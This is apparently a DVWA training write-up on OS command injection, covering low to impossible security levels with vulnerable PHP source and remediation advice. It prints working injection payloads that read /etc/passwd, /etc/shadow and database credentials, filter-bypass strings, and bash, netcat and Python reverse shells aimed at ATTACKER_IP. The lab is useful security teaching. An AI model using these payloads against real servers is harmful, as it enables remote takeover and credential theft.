🔍 02 — Command Injection

Command Injection

OWASP: A03 - Injection | **CWE**: CWE-78 | **Severity**: 🔴 Critical

---

📖 Description

DVWA's command injection module simulates a network utility (ping) that passes user input to a system shell. By appending shell metacharacters, attackers can execute arbitrary OS commands on the server.

DVWA Endpoint: `http://localhost/dvwa/vulnerabilities/exec/`

⚠️ Security Level: LOW

Vulnerable Source Code

```
$target = $_REQUEST['ip'];
$cmd = shell_exec('ping -c 4 ' . $target);
echo "<pre>{$cmd}</pre>";
```

PoC Payloads

```
# Semicolon injection
127.0.0.1; whoami
127.0.0.1; id
127.0.0.1; uname -a
127.0.0.1; cat /etc/passwd
127.0.0.1; ls /var/www/html/dvwa/
127.0.0.1; ifconfig
127.0.0.1; netstat -tulnp
127.0.0.1; ps aux
127.0.0.1; env
```

```
# Pipe operator
127.0.0.1 | whoami
127.0.0.1 | cat /etc/passwd

# AND operator
127.0.0.1 && id
127.0.0.1 && cat /etc/shadow

# OR operator
invalidhost || whoami

# Backtick execution
127.0.0.1; echo `id`

# Read DVWA config (get DB credentials!)
127.0.0.1; cat /var/www/html/dvwa/config/config.inc.php
```

Reverse Shell PoC

```
# Start listener
nc -lvnp 4444

# Payload in DVWA input field:
127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Netcat reverse shell
127.0.0.1; nc ATTACKER_IP 4444 -e /bin/bash

# Python reverse shell
127.0.0.1; python3 -c 'import socket,subprocess,os;s=socke
t.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno
(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subproces
s.call(["/bin/sh","-i"])'
```

Evidence

```
Input: 127.0.0.1; cat /etc/passwd
Output:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
...[ping output]...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

⚠️ Security Level: MEDIUM

Defense Applied

Blacklist filtering: `&&` and `;` are stripped.

Source Code

```
$substitutions = array(
    '&&' => '',
    ';'  => '',
);
$target = str_replace(array_keys($substitutions), $substitu
tions, $target);
```

Bypass Payloads (blacklist misses these)

```
# Pipe still works
127.0.0.1 | whoami
127.0.0.1 | cat /etc/passwd

# Newline injection
127.0.0.1%0awhoami

# Strip "&&" but reconstruct it: "&" + "&"
127.0.0.1 &|& whoami

# Word boundary bypass
127.0.0.1 &whoami
```

```
# Nested (strips once, still valid)
127.0.0.1 &;&whoami   -> strips ; -> 127.0.0.1 &&whoami
```

⚠️ Security Level: HIGH

Defense Applied

Extended blacklist: strips `&`, `;`, `|`, `-`, `$`, `(`, `)`, `  ,  `||`

Source Code

```
$substitutions = array(
    '&'  => '',
    ';'  => '',
    '| ' => '',  // NOTE: pipe + SPACE is filtered, not pip
e alone!
    '-'  => '',
    '$'  => '',
    '('  => '',
    ')'  => '',
    '`'  => '',
    '||' => '',
);
```

Critical Bypass — Pipe Without Space!

```
# "| " (pipe+space) is filtered, but "|" alone is NOT!
127.0.0.1 |whoami
127.0.0.1 |id
127.0.0.1 |cat /etc/passwd
127.0.0.1 |ls /

# This is a coding mistake in the blacklist
# '| ' != '|'  (with space vs without space)
```

⚠️ Security Level: IMPOSSIBLE

Defense Applied

Whitelist validation: only allows valid IPv4 addresses via regex.

```
// Split the IP into octets
$octet = explode('.', $target);

// Check each octet is a valid number
if ((is_numeric($octet[0])) && (is_numeric($octet[1])) &&
    (is_numeric($octet[2])) && (is_numeric($octet[3])) &&
    (sizeof($octet) == 4)) {
    // Valid IP -> run ping
} else {
    // Reject
}
```

Why It Works

Only pure numeric octets separated by `.` are accepted. No metacharacters possible.

📊 Impact Analysis

Impact	Severity
Full server RCE	Critical
/etc/passwd & shadow read	Critical
DB credentials from config	Critical
Reverse shell persistence	Critical
Lateral movement	High

✅ Remediation

1. **Whitelist IP validation** before passing to shell
2. **Avoid shell functions**: use PHP's `ping` equivalent or socket functions
3. **escapeshellarg()**: escape all user input

4. **Disable dangerous PHP functions**: `shell_exec`, `system`, `exec`, `passthru`

```
// Secure implementation
$ip = $_POST['ip'];
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
    die('Invalid IP');
}
$result = shell_exec('ping -c 4 ' . escapeshellarg($ip));
```

📚 References

- CWE-78: https://cwe.mitre.org/data/definitions/78.html
- OWASP Injection: https://owasp.org/Top10/A03_2021-Injection/